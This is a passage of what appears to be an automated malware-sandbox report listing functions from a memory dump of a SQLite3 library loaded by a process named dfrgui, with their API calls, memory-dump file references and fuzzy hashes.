Opcode Fuzzy Hash: 12ef7ea4453c32a645ba348bbfca8fb0439067479915be8a35ed3e638365756e
Instruction Fuzzy Hash: 8B512774D08359CFEB20CFA9C48478DBBF1AF49308F1085A9D488AB345D7759A85CF52

Function 61E357D5 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 61E18CF4: sqlite3_malloc.SQLITE3 ref: 61E18D21

sqlite3_free.SQLITE3 ref: 61E35801

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_stricmp.SQLITE3 ref: 61E35834
sqlite3_free.SQLITE3 ref: 61E358CC

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mallocsqlite3_mutex_entersqlite3_stricmp
String ID:
API String ID: 3567284914-0
Opcode ID: 992a08b87bdbc6ce544984c7a56340210eeb5e3efdd50e1bdfe6136643067e80
Instruction ID: dc230d9f6ae0c532c056c981194a03131c147d74a031a795d44411f3a328908d
Opcode Fuzzy Hash: 992a08b87bdbc6ce544984c7a56340210eeb5e3efdd50e1bdfe6136643067e80
Instruction Fuzzy Hash: 4431D274D0526A8BDB00DFA9C484A9EFBF0FF89318F658469D859AB310D735E842CF91

Function 61E2052B Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E20563

Part of subcall function 61E1810B: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17DE4,?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E18113

sqlite3_value_dup.SQLITE3 ref: 61E205B6
sqlite3_result_error_nomem.SQLITE3 ref: 61E205EB

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_initializesqlite3_mallocsqlite3_result_error_nomemsqlite3_value_dup
String ID:
API String ID: 405757302-0
Opcode ID: 87600c0b77f07ead0ade44179710f080ee334b5572c52f4e0d7d60932daf917b
Instruction ID: 5356118802b60d337b76f0c5ccd8eac5a4a44d3a7500145d4f6ed008da818bff
Opcode Fuzzy Hash: 87600c0b77f07ead0ade44179710f080ee334b5572c52f4e0d7d60932daf917b
Instruction Fuzzy Hash: 973139B5A042598FCB00DFA9C481A9EBBF1FF8C314F15846AE848EB310D374E981CB90

Function 61E39919 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E39925

Part of subcall function 61E17C24: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17C5B
Part of subcall function 61E17C24: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21F32), ref: 61E17C8F
Part of subcall function 61E17C24: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F58

sqlite3_mutex_enter.SQLITE3 ref: 61E39945
sqlite3_vfs_find.SQLITE3 ref: 61E39984
sqlite3_mutex_leave.SQLITE3 ref: 61E39A83

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_configsqlite3_initializesqlite3_vfs_find
String ID:
API String ID: 321126751-0
Opcode ID: 07510577db503228338109d9e63834a7a6cec21cbf137bdb6bd830b064f46665
Instruction ID: 2925052ec6f8ffb2653a9c841e0327b3319ecebca38ac82514d50031fd149e6b
Opcode Fuzzy Hash: 07510577db503228338109d9e63834a7a6cec21cbf137bdb6bd830b064f46665
Instruction Fuzzy Hash: C241713581CAE98ECB16CB7A85807D97FB0AB9AF04F188ADBD5C44B343C674C489CB51

Function 61E255B7 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

sqlite3_value_blob.SQLITE3 ref: 61E255CE
sqlite3_snprintf.SQLITE3 ref: 61E2561B
sqlite3_snprintf.SQLITE3 ref: 61E25689
sqlite3_result_text.SQLITE3 ref: 61E256B8

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_result_textsqlite3_value_blob
String ID:
API String ID: 3596987688-0
Opcode ID: 198b2a540f91bbaa916ca16fc22ca309423a60c73e34b668a02ea99b4488e3e4
Instruction ID: aff78ad72cde6f956bcd635203fbdd688f56649433091775984e00a83763de10
Opcode Fuzzy Hash: 198b2a540f91bbaa916ca16fc22ca309423a60c73e34b668a02ea99b4488e3e4
Instruction Fuzzy Hash: D131D3B1A082469FC740DF69C88168EBBF4BF89364F24C92DE4A8D7350D738D9518B91

Function 61E23339 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

sqlite3_win32_is_nt.SQLITE3 ref: 61E233AF
sqlite3_snprintf.SQLITE3 ref: 61E23447
sqlite3_snprintf.SQLITE3 ref: 61E23467
sqlite3_free.SQLITE3 ref: 61E2346F

Part of subcall function 61E121BF: sqlite3_free.SQLITE3 ref: 61E12265

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_snprintf$sqlite3_win32_is_nt
String ID:
API String ID: 4082161338-0
Opcode ID: dea1325d79d4cb8f39a95486161e72f0f4d785326dc0a59a874b35ce858c0968
Instruction ID: 01f5ca3d36b0fe5d772d4e132c6b4fbd93eb2febc6a9fb70f98f8313ed5b30ac
Opcode Fuzzy Hash: dea1325d79d4cb8f39a95486161e72f0f4d785326dc0a59a874b35ce858c0968
Instruction Fuzzy Hash: 7631B3B09087469FDB00EFAAD45475EBBF4BB89758F20C81DE49897340DB78C9458F92

Function 61E18F2A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E18F44

Part of subcall function 61E1810B: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17DE4,?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E18113

sqlite3_stricmp.SQLITE3 ref: 61E18F8C
sqlite3_stricmp.SQLITE3 ref: 61E18FB3
sqlite3_free.SQLITE3 ref: 61E18FE1

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmp$sqlite3_freesqlite3_initializesqlite3_malloc
String ID:
API String ID: 2308590742-0
Opcode ID: 369a55d0e78d401cd8b4eaab70aba31aa92e66541bfd7ba13a456de2a581296f
Instruction ID: 239ade2c88e345b63d3125612a5208ff0e442138152f448ae4bcdf34c5457b78
Opcode Fuzzy Hash: 369a55d0e78d401cd8b4eaab70aba31aa92e66541bfd7ba13a456de2a581296f
Instruction Fuzzy Hash: 9C21043060C2498BE7018E698442F5B7BE7AFCD318F39C568EE948B349D375D882A791

Function 61E24BE6 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E24C14
sqlite3_stricmp.SQLITE3 ref: 61E24C24

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmpsqlite3_value_text
String ID:
API String ID: 3779612131-0
Opcode ID: 6f5c249ed8c5b195dbc60a8d19c9ec1c721389a6742e59e338c2db1eae5c3d28
Instruction ID: d568cac6a526a82d890d631b49871d951a43a6629fde0a10a13ea37ae9740c1d
Opcode Fuzzy Hash: 6f5c249ed8c5b195dbc60a8d19c9ec1c721389a6742e59e338c2db1eae5c3d28
Instruction Fuzzy Hash: B21163B16047499BDB049F6DD88128A7BE0FB88334F24C62EF9A88F380D374D5518F81

Function 61E393FD Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

sqlite3_mprintf.SQLITE3 ref: 61E3944F
sqlite3_result_error.SQLITE3 ref: 61E39469
sqlite3_free.SQLITE3 ref: 61E39471
sqlite3_result_error_nomem.SQLITE3 ref: 61E3947B

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_errorsqlite3_result_error_nomem
String ID:
API String ID: 3282944778-0
Opcode ID: e0f18fe1a90569e19bbeb38b9d90966295f1e2888eceb96954b35f917cdae40f
Instruction ID: bc79f1c4db913d7eaf01e0e3fbf7de07ba2165e3ae0216f6af8ad6ba6708388c
Opcode Fuzzy Hash: e0f18fe1a90569e19bbeb38b9d90966295f1e2888eceb96954b35f917cdae40f
Instruction Fuzzy Hash: 7A0161B09087568AD7149F69D4802AEBFF4AFC5368F24C52DD49987340DB38D582CB92

Function 61E88A8C Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E88A98

Part of subcall function 61E17C24: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17C5B
Part of subcall function 61E17C24: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21F32), ref: 61E17C8F
Part of subcall function 61E17C24: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F58

sqlite3_mutex_enter.SQLITE3 ref: 61E88AB2
sqlite3_realloc64.SQLITE3 ref: 61E88AE7
sqlite3_mutex_leave.SQLITE3 ref: 61E88B0F

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_configsqlite3_initializesqlite3_realloc64
String ID:
API String ID: 1177761455-0
Opcode ID: 9bb8296d892ec2c835220d265d127cdf5500c09bf81358b48e063d922418a37a
Instruction ID: 187daa50e327ddd61bf0101189ec9ac92a86fbbae042de5ca21331b279bac4c3
Opcode Fuzzy Hash: 9bb8296d892ec2c835220d265d127cdf5500c09bf81358b48e063d922418a37a
Instruction Fuzzy Hash: 4201BCB4608B458BDB50AFAAC440B1ABBE4FBCA748F24893DDA49CB300E331D851DB51

Function 61E89B20 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 61E89B45
__dllonexit.MSVCRT ref: 61E89B83
_unlock.MSVCRT ref: 61E89BB3
_onexit.MSVCRT ref: 61E89BC7

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: __dllonexit_lock_onexit_unlock
String ID:
API String ID: 209411981-0
Opcode ID: f09f41fe1e4e55606ce1d4bf7b44d21027c0660ee3b9a3d4f6468084668fea88
Instruction ID: e3ade6bb6eea864b4b77d567e8b701b381f9569053faf472a3def64776bcd4d5
Opcode Fuzzy Hash: f09f41fe1e4e55606ce1d4bf7b44d21027c0660ee3b9a3d4f6468084668fea88
Instruction Fuzzy Hash: E511A2B4919B428FDB80EF79C08451EBBE0BB89319F158C2EE4D987340E735D484CB42

Function 61E0C68E Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E0C6C6

Part of subcall function 61E0A220: sqlite3_free.SQLITE3 ref: 61E0A241

sqlite3_free.SQLITE3 ref: 61E0C6D9
sqlite3_free.SQLITE3 ref: 61E0C6BB

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_free.SQLITE3 ref: 61E0C707

Part of subcall function 61E0A3B7: sqlite3_free.SQLITE3 ref: 61E0A3C8

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_enter
String ID:
API String ID: 3930042888-0
Opcode ID: cb24f4efa77f9ac15201abfdc1d25fe0f8f1219cf0e62de4bb804b80c66bc85a
Instruction ID: e11eee35d0ceec0c991c20cc3d7d1d28312db59945cee306ab64111bc1ac9e7f
Opcode Fuzzy Hash: cb24f4efa77f9ac15201abfdc1d25fe0f8f1219cf0e62de4bb804b80c66bc85a
Instruction Fuzzy Hash: F2017171A046898BD710AF78E88095EF7F4EF8431AF61886DD8898B310D774E861CF94

Function 61E38C3B Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_vmprintf.SQLITE3 ref: 61E38C5C

Part of subcall function 61E34E96: sqlite3_initialize.SQLITE3 ref: 61E34E9C

sqlite3_mprintf.SQLITE3 ref: 61E38C86
sqlite3_free.SQLITE3 ref: 61E38C91
sqlite3_free.SQLITE3 ref: 61E38CA4

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initializesqlite3_mprintfsqlite3_vmprintf
String ID:
API String ID: 690915108-0
Opcode ID: 239ddb261c3e6589749f819f52e5cb8dc00d206beb7d6357d2eb78034abeb09f
Instruction ID: 91a5a4a0d52eb3a81b8d57105def17065b4cbaf78dca1190cf22a01548602c8b
Opcode Fuzzy Hash: 239ddb261c3e6589749f819f52e5cb8dc00d206beb7d6357d2eb78034abeb09f
Instruction Fuzzy Hash: D6011E70A093169FD7409FB9D480A5ABBE4FF88364F61892DE988C7340E334D450DB52

Function 61E1F08F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E1F0A4
sqlite3_result_error.SQLITE3 ref: 61E1F0D4
sqlite3_result_double.SQLITE3 ref: 61E1F0EA
sqlite3_result_int64.SQLITE3 ref: 61E1F102

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_aggregate_contextsqlite3_result_doublesqlite3_result_errorsqlite3_result_int64
String ID:
API String ID: 3779139978-0
Opcode ID: d3cb904285bf7ce3a213363a3d692f274290cbe781b737b4288ca0506b2b9979
Instruction ID: c7b1b5c872699fac0233575c28cbdf7a710cdef6f12b57775d04f8610e5ba2d5
Opcode Fuzzy Hash: d3cb904285bf7ce3a213363a3d692f274290cbe781b737b4288ca0506b2b9979
Instruction Fuzzy Hash: 1A0121B450C7419FD7009F54C58671ABFE0AB45318F25C59DE4D90B3A6C778C488CB82

Function 61E17F67 Relevance: 6.0, APIs: 4, Instructions: 38stringCOMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E17F75

Part of subcall function 61E17C24: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17C5B
Part of subcall function 61E17C24: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21F32), ref: 61E17C8F
Part of subcall function 61E17C24: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F58

sqlite3_mutex_enter.SQLITE3 ref: 61E17F8D
strcmp.MSVCRT ref: 61E17FAA
sqlite3_mutex_leave.SQLITE3 ref: 61E17FBB

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
